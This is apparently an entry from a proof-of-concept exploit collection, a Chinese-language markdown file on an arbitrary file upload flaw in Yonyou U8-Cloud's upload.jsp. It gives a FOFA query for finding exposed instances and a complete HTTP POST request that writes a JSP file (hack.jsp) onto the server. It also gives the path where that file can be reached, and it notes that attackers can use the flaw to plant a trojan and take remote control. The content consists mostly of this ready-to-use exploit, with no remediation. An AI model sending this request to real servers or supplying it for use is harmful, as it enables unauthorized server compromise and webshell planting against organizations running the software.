POC/wpoc/用友OA/用友U8-Cloud upload任意文件上传漏洞.md
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## 用友U8-Cloud upload任意文件上传漏洞
该系统upload.jsp存在任意文件上传漏洞攻击者可通过该漏洞上传木马远程控制服务器
## fofa
```app="用友-U8-Cloud"```
## exp
```
POST /linux/pages/upload.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
filename: hack.jsp
Accept-Encoding: gzip
<% out.println("The website has vulnerabilities!!");%>
```
## 漏洞复现
![](https://img-blog.csdnimg.cn/img_convert/4e222417f164a3b33772bf18041feb82.png)
![](https://img-blog.csdnimg.cn/img_convert/d68273de84c541f1cb5a0ac52b469b98.png)
## 路径
http://ip:port/linux/hack.jsp